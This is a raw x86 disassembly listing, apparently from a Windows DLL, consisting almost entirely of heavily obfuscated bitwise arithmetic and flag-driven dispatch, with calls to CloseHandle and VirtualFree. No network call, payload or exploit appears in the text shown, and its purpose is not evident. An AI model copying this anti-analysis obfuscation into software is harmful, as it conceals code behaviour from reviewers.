or esi, eax
mov eax, ebp
not eax
or edx, eax
and eax, 0x973d0693
and ebp, 0x68c2f96c
or ebp, eax
mov edi, ecx
not edi
xor ebp, esi
not edx
or edx, ebp
xor edx, ebx
mov ebx, edx
not ebx
mov eax, ecx
xor eax, 0xb5a9b5c4
and eax, ecx
mov ebp, edi
and ebp, 0xb5a9b5c4
or ebp, eax
mov eax, ebx
and eax, 0x4a564a3b
mov esi, edx
xor esi, 0x4a564a3b
and esi, edx
or esi, eax
xor esi, ebp
mov eax, edi
and eax, 0x8d0c7330
and ecx, 0x72f38ccf
or ecx, eax
or edi, edx
and edx, 0x8d0c7330
and ebx, 0x72f38ccf
or ebx, edx
xor ebx, ecx
not edi
or edi, ebx
mov edx, edi
not edx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xfd261848
and esi, 0x2d9e7b7
or esi, eax
or ecx, edi
and edi, 0xfd261848
and edx, 0x2d9e7b7
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov edi, edx
and edi, ecx
mov eax, edi
not eax
mov esi, ecx
and esi, 0xa730e5af
mov ebx, edx
and ebx, 0x58cf1a50
or ebx, esi
mov esi, ecx
or esi, eax
and eax, 0xa730e5af
and edi, 0x58cf1a50
or edi, eax
xor edi, ebx
not esi
or esi, edi
mov eax, esi
not eax
and eax, 0x10cf5c1
and esi, 0xfef30a3e
or esi, eax
mov edi, esi
xor edi, 0x10cf5c1
and edi, esi
mov eax, edx
and eax, 0x6656b14d
and ecx, 0x99a94eb2
or ecx, eax
xor ecx, 0x98a5bb73
xor edx, ecx
and edx, ecx
mov ecx, edx
not ecx
mov eax, edi
xor eax, ecx
and eax, edi
xor ecx, edx
and ecx, edi
xor ecx, edx
or ecx, eax
mov ebp, dword [esp]
mov edx, ebp
and edx, 0x97377c01
or edx, 0x68c88378
mov edi, ebp
xor edi, 1
and edi, ebp
mov esi, ebp
or esi, 0xfffffffe
mov eax, edi
not eax
mov ebx, esi
or esi, eax
and eax, 0x6dd82c7f
and edi, 0x9227d380
or edi, eax
mov eax, edx
and eax, 0x68c88379
and edx, 1
xor eax, 0x97377c87
and ebx, 0x6dd82c7f
xor edi, ebx
not esi
or esi, edi
mov edi, esi
not edi
xor ebp, edi
and ebp, edx
and esi, eax
and edi, edx
or edi, esi
mov esi, ebp
not esi
mov eax, edi
not eax
mov edx, esi
and edx, 0x25a58b7f
or esi, eax
and eax, 0x25a58b7f
and edi, 0xda5a7480
or edi, eax
xor edi, edx
not esi
or esi, edi
mov edx, esi
not edx
mov eax, esi
mov ebx, esi
and eax, 0x8456897c
mov edi, edx
and edi, 0x7ba97683
or edi, eax
mov esi, edi
xor esi, 0x30a87483
xor edi, 0x4128934
and edi, 0x4f138b34
and esi, 0xb0ec74cb
or esi, edi
mov edi, esi
xor edi, 0x80284402
mov eax, edx
and eax, 0x623dd57a
and ebx, 0x9dc22a85
or ebx, eax
xor ebx, 0x9dc22a85
xor edx, ebx
and edx, ebx
xor esi, 0x4f138b34
mov eax, edx
not eax
mov ebx, esi
or ebx, eax
and esi, 0x38c5b1d9
and edi, 0xc73a4e26
or edi, esi
and eax, 0x38c5b1d9
and edx, 0xc73a4e26
or edx, eax
xor edx, edi
mov eax, edx
not eax
mov esi, eax
and esi, 0xa487fcf3
and edx, 0x5b78030c
or edx, esi
xor edx, ebx
xor edx, 0x5b78030c
or eax, ebx
not eax
or eax, edx
mov esi, eax
not esi
mov edx, eax
xor edx, 0x917d81db
and edx, eax
mov ebx, eax
or ebx, 0x22006e00
mov edi, edx
not edi
and ebx, 0xb2006f5a
and esi, 0x17d8081
or esi, ebx
or eax, edi
and edi, 0xb2006f5a
and edx, 0x4dff90a5
or edx, edi
xor edx, esi
not eax
or eax, edx
not edx
and edx, 0x6e827e24
and eax, 0x917d81db
or eax, edx
mov edx, eax
not edx
and edx, 0x54a1988d
and eax, 0xab5e6772
or eax, edx
mov edx, eax
xor edx, 0x54a1988d
mov esi, eax
xor esi, 0x8b124122
and esi, 0x9b92d12b
xor eax, 0xcf3349a6
and eax, edx
or eax, esi
mov edx, eax
xor edx, 0x64040844
xor eax, 0x8000c003
and eax, 0x8069e693
and edx, 0x7f96196c
or edx, eax
mov esi, edx
xor esi, 0x7f96196c
xor edx, 0x8069e693
mov eax, esi
and eax, 0x27d9f860
mov ebx, edx
and ebx, 0xd826079f
or ebx, eax
mov edi, ebx
xor edi, 0xd826079f
mov eax, ecx
not eax
and edi, eax
xor ebx, 0x27d9f860
and ebx, ecx
or ebx, edi
mov edi, ebx
xor edi, eax
and edi, ebx
mov ebx, eax
and ebx, 0xe82c0bab
and ecx, 0x17d3f454
or ecx, ebx
xor ecx, esi
xor ecx, 0x17d3f454
and ecx, edx
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, edi
xor edx, ecx
and edx, edi
xor ecx, eax
and ecx, edi
xor ecx, eax
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0x1b78d096
and edx, 0xe4872f69
or edx, edi
or eax, esi
and esi, 0x1b78d096
and ecx, 0xe4872f69
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xcef37fca
mov esi, eax
and esi, 0x310c8035
or esi, edx
mov edx, esi
xor edx, 0x8000
xor esi, 0x82003f0a
mov edi, ecx
or edi, 0xa2083f1b
or esi, 0x9544000
and esi, 0xab5c7f1b
and edx, 0x4208000
or edx, esi
and edi, 0xab5c7f1b
mov esi, eax
and esi, 0x508300e4
or esi, edi
xor esi, edx
mov edx, esi
xor edx, 0x40950084
xor esi, 0xa200931a
and edx, 0x44bd2c85
and esi, 0xbb42d37a
or esi, edx
mov edx, esi
xor edx, 0xbb42d37a
mov edi, eax
and edi, 0x15c66401
mov ebx, ecx
and ebx, 0xea399bfe
or ebx, edi
xor ebx, 0xea399bfe
or ebx, ecx
mov edi, edx
xor edi, ebx
and edi, edx
xor esi, 0x200005
and esi, 0x3a22034f
and edx, 0xc5ddfcb0
or edx, esi
xor edx, ebx
mov ebx, edx
xor ebx, 0xc5ddfcb0
mov esi, edi
not esi
xor edx, 0x3a22034f
mov ebp, esi
and ebp, 0xf11b3908
and edi, 0xee4c6f7
or edi, ebp
or esi, edx
and edx, 0xf11b3908
and ebx, 0xee4c6f7
or ebx, edx
xor ebx, edi
not esi
or esi, ebx
mov edx, esi
not edx
and esi, 0xf2f8a969
and edx, 0xd075696
or edx, esi
mov esi, edx
xor esi, 0xf2f8a969
xor edx, 0xd075696
mov ebx, esi
and ebx, 0xc7e74c87
mov edi, edx
and edi, 0x3818b378
or edi, ebx
or edx, 0xc7e74c87
mov ebx, edi
not ebx
mov ebp, edx
and ebp, 0x6b067154
and esi, 0x10188228
or esi, ebp
or edx, ebx
and ebx, 0x6b067154
and edi, 0x94f98eab
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, edx
not esi
mov edi, edx
and edi, 0x8f4ea7fa
and esi, 0x70b15805
or esi, edi
xor esi, 0x8f4ea7fa
xor edx, esi
and edx, esi
mov esi, eax
xor esi, 0xc7e74c87
and esi, ecx
and eax, 0x1c78cc5d
and ecx, 0xe38733a2
or ecx, eax
mov eax, ecx
xor eax, 0x5a95009a
mov ebx, esi
not ebx
xor ecx, 0x24607f25
mov edi, ebx
and edi, 0xa10abc60
and esi, 0x5ef5439f
or esi, edi
or ebx, ecx
and ecx, 0xa10abc60
and eax, 0x5ef5439f
or eax, ecx
xor eax, esi
not ebx
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x868df122
and eax, ebx
and ebx, 0x79720edd
or ebx, ecx
xor ebx, 0x79720edd
or ebx, eax
mov ecx, edx
not ecx
mov dword [esp], ecx
mov eax, edx
and eax, 0x2bbd71f8
and ecx, 0xd4428e07
or ecx, eax
mov edi, ebx
not edi
mov dword [esp + 0x10], edi
mov eax, ebx
or eax, 0x202008a
and eax, 0xae3b08a
mov esi, edi
and esi, 0x4084454
or esi, eax
mov eax, edi
or eax, 0x8e1b000
and eax, 0xae3b08a
mov ebp, ebx
and ebp, 0xf1140b21
or ebp, eax
xor ebp, esi
mov esi, ecx
xor esi, 0x2bbd71f8
mov dword [esp + 8], esi
xor ecx, 0xd4428e07
mov dword [esp + 4], ecx
mov eax, ecx
and eax, 0x80012609
and esi, 0x58c8c044
or esi, eax
mov eax, esi
xor eax, 0xc8c040
or eax, 0x73009b0
xor esi, 8
and esi, 0x5800000c
and eax, 0x87f9eff1
or eax, esi
and edx, 0x967e414c
mov edi, dword [esp]
mov esi, edi
and esi, 0x6981beb3
or esi, edx
xor esi, 0x4eb7a701
and edi, 0xd8c9e64d
or edi, esi
mov ecx, edi
mov esi, ebp
xor esi, 0xf3160bab
xor ebp, 0xce9f454
mov dword [esp + 0xc], ebp
and ebp, 0x50496049
mov edx, esi
and edx, 0x88808604
or edx, ebp
mov ebp, dword [esp + 0x10]
mov edi, ebp
and edi, 0x6b194e5a
and ebx, 0x94e6b1a5
or ebx, edi
xor ebx, 0xb3d0a817
xor ebp, ebx
and ebp, ebx
mov edi, eax
xor edi, 0x87f9eff1
xor eax, 0x7806100e
mov ebx, ecx
not ebx
and ebx, eax
or eax, ecx
and ecx, edi
or ecx, ebx
not eax
or ecx, eax
mov dword [esp], ecx
mov ecx, ebp
xor ecx, 0xf1967602
mov edi, ecx
and ecx, ebp
not ebp
and edi, ebp
or ecx, edi
mov ebx, edx
xor ebx, 0x88808604
or ebx, 0x273619b2
or ebp, ebx
mov edi, ebx
not ebx
xor edx, 0x80c90649
and edx, ebx
or ebx, 0xe6989fd
mov eax, ebx
and eax, 0x584824c8
and edi, 0xa0805202
or edi, eax
mov eax, edx
not eax
or ebx, eax
and eax, 0x595e24c8
and edx, 0x8081c205
or edx, eax
xor edx, edi
not ebx
or ebx, edx
mov eax, ecx
xor eax, ecx
not eax
and eax, ebx
xor eax, ecx
not ebp
or ebp, eax
mov eax, dword [esp]
xor eax, 0x572e3abd
xor ebp, 0x572e3abd
mov ebx, ebp
xor ebx, ebp
not ebx
and ebx, eax
xor ebx, ebp
mov ecx, dword [esp + 8]
mov eax, ecx
mov edi, dword [esp + 0xc]
xor eax, edi
and eax, ecx
mov edx, dword [esp + 4]
and edx, 0x8c4ba197
and ecx, 0x73b45e68
or ecx, edx
and edi, 0x8c4ba197
and esi, 0x73b45e68
or esi, edi
xor esi, ecx
mov ecx, eax
not ecx
mov edx, esi
not edx
mov edi, ecx
and edi, 0x24e117fb
and eax, 0xdb1ee804
or eax, edi
or ecx, edx
and edx, 0x24e117fb
and esi, 0xdb1ee804
or esi, edx
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x9c42811d
and eax, ecx
and ecx, 0x63bd7ee2
or ecx, edx
mov edx, ecx
xor edx, 0x20084ee0
xor ecx, 0x9c42811d
mov esi, eax
not esi
mov edi, ecx
and edi, 0x4ff53113
and edx, 0xb00aceec
or edx, edi
or ecx, esi
and esi, 0x4ff53113
and eax, 0xb00aceec
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ebx
not eax
mov edx, ecx
xor edx, 0x90b66530
mov esi, edx
and edx, ecx
not ecx
and esi, ecx
or ecx, eax
and eax, 0x90b66530
and ebx, 0x6f499acf
or ebx, eax
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, ecx
mov esi, ecx
mov edi, ecx
mov ebx, edx
and ebx, 0x3818b378
and ecx, 0xc7e74c87
or ecx, ebx
mov ebx, eax
not ebx
and esi, 0x79153285
not ecx
or ecx, edx
and edx, 0x86eacd7a
or edx, esi
or edi, ebx
and ebx, 0x79153285
and eax, 0x86eacd7a
or eax, ebx
xor eax, edx
not edi
or edi, eax
mov eax, edi
not eax
and edi, 0x4f024eee
and eax, 0xb0fdb111
or eax, edi
mov edx, eax
xor edx, 0x771afd96
xor eax, 0xb0fdb111
and eax, edx
mov edx, eax
not edx
xor eax, edx
and eax, ecx
xor eax, edx
or edx, ecx
not edx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x2b54b62f
mov esi, eax
and esi, 0xd4ab49d0
or esi, edx
mov edi, esi
xor edi, 0xd4080180
xor esi, 0x2b54b62f
and edi, 0xf51c9782
mov edx, esi
and edx, 0xae3687d
or edx, edi
xor edx, 0xae3687d
or edx, esi
mov ebx, edx
not ebx
mov esi, ebx
xor esi, ecx
and esi, ebx
and edx, 0xd36cb901
and ebx, 0x2c9346fe
or ebx, edx
mov edx, ecx
and edx, 0xd36cb901
mov edi, eax
and edi, 0x2c9346fe
or edi, edx
xor edi, ebx
mov edx, esi
not edx
mov ebx, edx
and ebx, 0xb8120108
and esi, 0x47edfef7
or esi, ebx
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0xb8120108
and edi, 0x47edfef7
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, eax
or esi, 0x440d0360
mov edi, ecx
and esi, 0xd42f3f67
and ecx, 0x900c000
or ecx, esi
or edi, 0x90223c07
and edi, 0xd42f3f67
and eax, 0x22d00098
or eax, edi
xor eax, ecx
mov ecx, eax
xor ecx, 0x66dd03f8
mov esi, edx
not esi
xor eax, 0x9922fc07
or eax, edx
not eax
or ecx, esi
not ecx
or ecx, eax
mov eax, ecx
and ecx, edx
not eax
and esi, eax
or ecx, esi
not ecx
or ecx, eax
xor ecx, 0xffffffff
sete ch
setne dl
cmp dword [0x1004090c], 0xa
setge ah
setl al
mov dh, ah
xor dh, al
mov cl, dh
xor cl, dl
or al, dl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov cl, al
xor cl, 1
xor dl, ch
and dl, dl
xor dl, ch
and dl, dh
xor dl, ah
mov ah, dl
xor ah, 1
and ah, dl
xor ah, 1
mov ch, ah
xor ch, dl
or ah, dl
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
mov dl, ch
and dl, ah
xor dl, 1
mov dh, dl
xor dh, ch
or dl, ch
mov ch, cl
and ch, al
xor ch, 1
or cl, ch
xor cl, 1
or cl, al
xor dl, 1
or dl, dh
mov dh, al
xor dh, ch
or ch, al
xor ch, 1
or ch, dh
mov al, ch
xor al, 1
and al, ch
xor al, 1
mov dh, al
xor dh, ch
or al, ch
mov ch, cl
xor ch, 1
xor al, 1
or al, dh
xor al, ah
mov dh, ch
and dh, cl
xor dh, 1
mov ah, dh
xor ah, cl
or dh, cl
mov cl, dl
xor cl, 1
or dl, ch
xor dl, 1
xor dh, 1
or dh, ah
mov ah, cl
xor ah, ch
xor dh, cl
or cl, ch
xor cl, 1
or cl, ah
and ah, ch
or ah, dl
xor cl, 1
or cl, dh
mov ch, ah
xor ch, 1
mov dl, ch
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov dh, dl
xor dh, 1
and dh, cl
xor ch, cl
mov ebx, ecx
xor bl, 1
and dl, bl
or dl, dh
mov cl, al
xor cl, 1
or bl, ah
xor bl, 1
or bl, ch
xor dl, 1
mov ah, dl
xor ah, bl
or dl, bl
xor dl, 1
or dl, ah
mov ch, dl
xor ch, 1
mov ah, cl
and ah, al
xor ah, 1
mov dh, al
xor dh, ah
or ah, al
xor ah, 1
or ah, dh
and dl, ch
xor dl, 1
mov dh, ch
xor dh, dl
or dl, ch
xor dl, 1
or dl, dh
mov dh, dl
xor dh, 1
mov ch, ah
xor ch, 1
and al, dl
and cl, dh
or cl, al
and ah, ch
xor ah, 1
mov al, ah
xor al, ch
or ah, ch
xor ah, 1
or ah, al
mov al, dl
and al, dh
xor al, 1
or al, dh
xor al, 1
or al, dl
xor al, ah
xor al, 1
or ch, dh
mov edx, eax
xor dl, ch
or ch, al
xor ch, 1
or ch, dl
xor cl, 1
mov eax, ecx
xor al, ch
or cl, ch
mov edx, ecx
xor dl, al
test cl, 1
mov ebx, 0x1de9c053
mov ecx, 0xcc91b8d8
cmovne ebx, ecx
test al, 1
cmove ebx, ecx
test dl, 1
mov eax, 0x1de9c053
cmove ebx, eax
jmp 0x1000b8a0
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x10040908]
lea esi, [eax + 1]
imul esi, eax
mov edx, esi
not edx
mov ecx, esi
and esi, 0xb24bd409
mov eax, edx
and eax, 0x4db42bf6
or eax, esi
xor eax, 0x4db42bf6
or eax, edx
and edx, 0x891be2b0
and ecx, 0x76e41d4f
or ecx, edx
mov esi, ecx
xor esi, 0x80ba000
xor ecx, 0x4a4084f
and ecx, 0x85b44aff
and esi, 0x7a4bb500
or esi, ecx
mov edx, esi
xor edx, 0x7a4bb500
mov edi, eax
xor edi, 0x6f9d2a44
xor esi, 0x40284
and esi, 0x12478284
mov ecx, edx
and ecx, 0xedb87d7b
or ecx, esi
xor ecx, 0xedb87d7b
mov esi, ecx
and esi, 0xadad2a74
and edx, 0x5252d58b
or edx, esi
or edi, 0x1000d003
mov ebx, eax
or ebx, 0x2d8d2a40
mov esi, eax
not esi
and edi, 0x3d8dfa43
or ecx, eax
and eax, 0x80200034
or eax, edi
and ebx, 0x3d8dfa43
and esi, 0x42520588
or esi, ebx
xor esi, eax
xor esi, edx
mov eax, esi
not eax
mov edx, eax
and edx, 0xd830b7ec
and esi, 0x27cf4813
or esi, edx
xor esi, ecx
xor esi, 0x27cf4813
or eax, ecx
not eax
or eax, esi
mov edx, eax
not edx
and eax, 0xd7aa86a9
and edx, 0x28557956
or edx, eax
mov ecx, edx
xor ecx, 0x28444806
xor edx, 0x6220089
and edx, 0x63331d9
and ecx, 0xf9ccce26
or ecx, edx
mov eax, ecx
xor eax, 0x2213148
xor ecx, 0xa1480222
and eax, 0x5aa5fd4c
and ecx, 0xa55a02b3
or ecx, eax
mov eax, ecx
xor eax, 0x50252004
xor ecx, 0x21000091
and ecx, 0x2b80ddd9
and eax, 0xd47f2226
or eax, ecx
mov edi, eax
xor edi, 0xd47f2226
mov edx, eax
xor edx, 0x2b80ddd9
mov ecx, edx
and ecx, 0x2f475e59
mov esi, edi
xor eax, 0x37e4ec60
and eax, edi
and edi, 0xd0b8a1a6
or edi, ecx
mov ecx, edi
xor ecx, 0xd0180180
mov ebx, edi
xor ebx, 0x3434201
and ebx, 0x3e3e227
and ecx, 0xfc1c1dd8
or ecx, ebx
xor ecx, 0xfc1c1dd8
xor edi, 0xd0b8a1a6
or edi, ecx
mov ecx, edi
not ecx
and edx, 0x42128e02
and esi, 0xa1894044
or esi, edx
xor esi, 0xa1894044
or eax, esi
mov ebx, eax
xor ebx, 0xe39bce46
mov edx, eax
xor edx, 0x1c6431b9
mov esi, edi
and esi, 0xb8826f23
mov ebp, ecx
and ebp, 0x477d90dc
or ebp, esi
mov esi, edx
or esi, ebx
xor eax, 0x5b19a165
and eax, esi
mov esi, eax
xor esi, eax
not esi
and esi, ebp
xor esi, eax
mov eax, ecx
and eax, 0x811038d2
and edi, 0x7eefc72d
or edi, eax
or ecx, ebx
and ebx, 0x811038d2
and edx, 0x7eefc72d
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, esi
not edx
mov eax, edx
and eax, 0xb5eb9261
and esi, 0x4a146d9e
or esi, eax
xor esi, ecx
xor esi, 0x4a146d9e
or edx, ecx
not edx
or edx, esi
mov ecx, edx
not ecx
mov eax, ecx
mov ebp, ecx
and eax, 0x201008
mov ecx, edx
and ecx, 0x2c438a23
or ecx, eax
xor ecx, 0x2c438a23
mov esi, edx
and esi, 0xd39c65d4
or esi, ecx
mov eax, esi
xor eax, 0xd39c65d4
xor esi, 0x2042902a
and esi, 0x3242b1ae
mov ecx, eax
and ecx, 0xcdbd4e51
or ecx, esi
xor ecx, 0xcdbd4e51
mov esi, ecx
and esi, 0xd4aef798
and eax, 0x2b510867
or eax, esi
mov esi, eax
xor esi, 0x502a2411
or ecx, 0xfffffffe
xor eax, 0x2b510866
mov edi, eax
or eax, ecx
not ecx
and edi, 0x86d4d3ee
and esi, 0x792b2c11
or esi, edi
or ecx, 0x86d4d3ee
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x6e39ba0a
and ecx, eax
and eax, 0x91c645f5
or eax, esi
mov esi, eax
xor esi, 0x91040510
xor eax, 0x6e39ba0a
mov edi, ecx
not edi
mov ebx, eax
and ebx, 0x44e2f2e7
and esi, 0xbb1d0d18
or esi, ebx
or eax, edi
and edi, 0x44e2f2e7
and ecx, 0xbb1d0d18
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov dword [esp + 0x14], eax
mov ecx, ebp
and ecx, 0x8ee3cc50
mov ebx, edx
and ebx, 0x711c33af
or ebx, ecx
mov edi, ebx
xor edi, 0x8ee3cc50
or edi, 1
mov esi, edi
not esi
mov ecx, ebp
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
xor ebp, edx
and ebp, edx
mov eax, ebp
mov edx, esi
or edx, 0x9d9de307
mov ecx, edx
and ecx, 0xa038cdad
mov ebp, edi
and ebp, 0x42421050
or ebp, ecx
xor ebx, 0x137e2f56
and ebx, esi
mov ecx, ebx
not ecx
or edx, ecx
and ecx, 0xa038cdad
and ebx, 0x5fc73252
or ebx, ecx
xor ebx, ebp
mov dword [esp], eax
mov ecx, eax
not ecx
not edx
or edx, ebx
mov ebx, eax
or ebx, 0x80882304
and ebx, 0xc0e837f4
mov eax, ecx
and eax, 0x22020808
or eax, ebx
mov ebx, ecx
or ebx, 0x406014f0
and ebx, 0xc0e837f4
mov ebp, dword [esp]
and ebp, 0x1d15c003
or ebp, ebx
xor ebp, eax
xor ebp, edx
mov eax, esi
and eax, 0xb1672dd6
and edi, 0x4e98d228
or edi, eax
mov edx, dword [esp + 0x14]
not edx
mov eax, dword [esp]
or esi, eax
and eax, 0xb1672dd7
and ecx, 0x4e98d228
or ecx, eax
xor ecx, edi
not esi
or esi, ecx
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x75071be1
and ebp, 0x8af8e41e
or ebp, eax
xor ebp, esi
xor ebp, 0x8af8e41e
or ebx, esi
not ebx
or ebx, ebp
mov ebp, dword [esp + 0x14]
mov ecx, ebp
mov esi, edx
mov edi, ebp
mov eax, edx
and eax, 0x26793365
and ebp, 0xd986cc9a
or ebp, eax
xor ebp, 0x685b25e9
or ebp, edx
mov dword [esp + 0x14], ebp
or edx, 0x40e03940
or ecx, 0x311e0004
and ecx, 0x71fe3944
and esi, 0x8601c428
or esi, ecx
and edx, 0x71fe3944
and edi, 0x8000293
or edi, edx
xor edi, esi
mov edx, ebx
not edx
mov eax, edx
and eax, ebx
mov ecx, ebx
and ecx, 0x9a4ded7a
mov esi, edx
and esi, 0x65b21285
or esi, ecx
mov ecx, eax
not ecx
mov ebp, ebx
or ebp, ecx
and ecx, 0x9a4ded7a
and eax, 0x65b21285
or eax, ecx
xor eax, esi
mov ecx, edi
mov esi, edi
xor esi, 0x391e0297
mov dword [esp + 0xc], esi
not ebp
or ebp, eax
mov edi, ebp
xor ecx, 0xc6e1fd68
mov dword [esp + 0x10], ecx
mov eax, esi
and eax, 0x61a02711
mov esi, ecx
and esi, 0x9e5fd8ee
or esi, eax
xor esi, 0x2f82319d
mov ebp, ecx
and ebp, 0x4e22168c
or ebp, esi
mov dword [esp + 8], edi
mov eax, edi
not eax
mov dword [esp], eax
and eax, 0x3f0f7382
and edi, 0xc0f08c7d
or edi, eax
mov dword [esp + 0x18], edi
and edx, 0x14f9f3df
and ebx, 0xeb060c20
or ebx, edx
mov ecx, ebx
xor ecx, 0xeb060c20
xor ebx, 0x51a05d
and ebx, 0x2257a87d
mov eax, ecx
and eax, 0xdda85782
or eax, ebx
xor eax, 0x938a410e
and ecx, 0xb1dde973
or ecx, eax
mov dword [esp + 4], ecx
mov ebx, dword [esp + 0x14]
mov edi, ebx
not edi
mov edx, ebx
and edx, 0x8ac53e1f
xor ebx, 0x4eccde16
and ebx, edi
and edi, 0x753ac1e0
or edi, edx
mov ecx, ebp
mov dword [esp + 0x1c], ebp
not ebp
mov eax, ecx
and eax, 0xb13321e9
xor ecx, 0x4eccde16
and ecx, ebp
or ecx, eax
mov esi, edi
xor esi, 0x753ac1e0
mov eax, esi
and eax, 0xb13321e9
or ebx, eax
mov edx, ebx
xor edx, ebx
not edx
and edx, ecx
xor edx, ebx
mov eax, ebp
and eax, 0x390d19b9
mov ecx, dword [esp + 0x1c]
and ecx, 0xc6f2e646
or ecx, eax
xor edi, 0x8ac53e1f
or ebp, edi
and edi, 0x390d19b9
and esi, 0xc6f2e646
or esi, edi
xor esi, ecx
not ebp
or ebp, esi
not ebp
or ebp, edx
mov ebx, ebp
mov eax, dword [esp + 4]
mov edx, eax
and edx, 0xeafd2e7a
not eax
mov edi, eax
and edi, 0x1502d185
or edi, edx
mov ebp, dword [esp + 0x18]
xor ebp, 0x8ed29af1
or ebp, dword [esp]
mov ecx, edi
xor ecx, 0x1502d185
mov esi, ebp
xor esi, 0xe83210fd
mov edx, esi
and edx, ebp
or ecx, ebp
mov dword [esp + 0x14], ecx
not ebp
and esi, ebp
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x13ba48de
and edx, 0xec45b721
or edx, ecx
mov ecx, esi
not ecx
or ebp, ecx
and ecx, 0x13ba48de
and esi, 0xec45b721
or esi, ecx
xor esi, edx
not ebp
or ebp, esi
mov ecx, edi
xor ecx, 0x2452600
or ecx, 0x60201080
xor edi, 0x1000100
and ecx, 0x7665f680
and edi, 0x1880902
or edi, ecx
mov ecx, dword [esp + 4]
or ecx, 0x1645e600
and ecx, 0x7665f680
and eax, 0x8812007d
or eax, ecx
xor eax, edi
xor eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x5abcbfe9
and eax, 0xa5434016
or eax, edx
mov esi, dword [esp + 0x14]
mov edx, esi
not edx
or ecx, esi
and esi, 0x5abcbfe9
and edx, 0xa5434016
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov eax, ebx
not eax
mov edx, ebx
or edx, 0x121b5a4f
and edx, 0x333b7a6f
mov esi, eax
and eax, 0x80400580
or eax, edx
or esi, 0x21202020
and esi, 0x333b7a6f
and ebx, 0x4c848010
or ebx, esi
xor ebx, eax
mov edx, ecx
not edx
and edx, ecx
xor ecx, 0xa16025a0
xor edx, ecx
mov eax, edx
xor eax, edx
not eax
and eax, ebx
xor eax, edx
mov ebx, dword [esp + 0x10]
mov ecx, ebx
and ecx, 0xe2d05188
mov ebp, dword [esp + 0xc]
mov esi, ebp
and esi, 0x1d2fae77
or esi, ecx
mov ecx, esi
xor ecx, 0x1d2fae77
xor esi, 0x9da45436
and esi, ecx
mov edx, esi
not edx
mov edi, edx
and edi, 0x84ba7c62
and esi, 0x7b45839d
or esi, edi
or ebx, 0x7f7405be
or edx, ebx
and ebx, 0x84ba7c62
mov edi, ebp
and edi, 0x18201
or edi, ebx
xor edi, esi
mov ebp, dword [esp + 8]
mov esi, ebp
xor esi, 0x7f7405be
and esi, dword [esp]
not edx
or edx, edi
mov edi, esi
not edi
mov ebx, edi
and ebx, 0x1c1992a9
and esi, 0xe3e66d56
or esi, ebx
mov ebx, dword [esp]
or ecx, ebx
or ebx, 0x7f7405be
or edi, ebx
and ebx, 0x1c1992a9
and ebp, 0x80826840
or ebp, ebx
mov ebx, ebp
xor ebx, esi
not edi
or edi, ebx
mov esi, edi
xor esi, edi
not esi
and esi, edx
xor esi, edi
not ecx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x51f5b617
and edx, 0xae0a49e8
or edx, ecx
mov ecx, edx
xor ecx, 0x4184a005
xor edx, 0xe0241a0
and edx, 0x1e7357b2
and ecx, 0xe18ca84d
or ecx, edx
mov esi, ecx
xor esi, 0xa18c204d
xor ecx, 0x1e7357b2
mov edx, eax
not edx
and esi, 0xb1ef64dd
mov edi, ecx
and edi, 0x4e109b22
or edi, esi
mov esi, edi
xor esi, 0x4e109b22
mov ebx, edx
and ebx, 0x3dfcf03
mov ebp, eax
and ebp, 0xfc2030fc
or ebp, ebx
mov ebx, edi
xor ebx, 0xb230abde
and ebx, esi
and ecx, 0xfc2030fc
or ecx, ebx
xor ecx, ebp
xor edi, 0xb1ef64dd
mov ebx, eax
and ebx, 0x29e46dcf
and edx, 0xd61b9230
or edx, ebx
or eax, edi
and edi, 0x29e46dcf
and esi, 0xd61b9230
or esi, edi
xor esi, edx
not eax
or eax, esi
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
mov esi, edx
and esi, eax
mov edi, eax
xor edi, 0x80bcbfa4
and edi, eax
mov ebx, eax
or ebx, 0x1c410013
and ebx, 0x1ce9be93
mov ebp, edx
and ebp, 0x80140124
or ebp, ebx
mov ebx, edi
not ebx
or eax, ebx
and ebx, 0x1ce9be93
and edi, 0xe316416c
or edi, ebx
xor edi, ebp
not eax
or eax, edi
not edi
and edi, 0x7f43405b
and eax, 0x80bcbfa4
or eax, edi
not eax
or eax, edx
and edx, 0x4fad88fd
and ecx, 0xb0527702
or ecx, edx
mov edx, ecx
xor edx, 0x80527402
xor ecx, 0x4fad88fd
mov edi, esi
not edi
mov ebx, ecx
and ebx, 0x7ba10bdd
and edx, 0x845ef422
or edx, ebx
or ecx, edi
and edi, 0x7ba10bdd
and esi, 0x845ef422
or esi, edi
xor esi, edx
not ecx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xd3ee8fb4
and edx, 0x2c11704b
or edx, ecx
mov ecx, edx
xor ecx, 0x8106008
xor edx, 0xc0c003a0
and edx, 0xe4c113e3
and ecx, 0x1b3eec1c
or ecx, edx
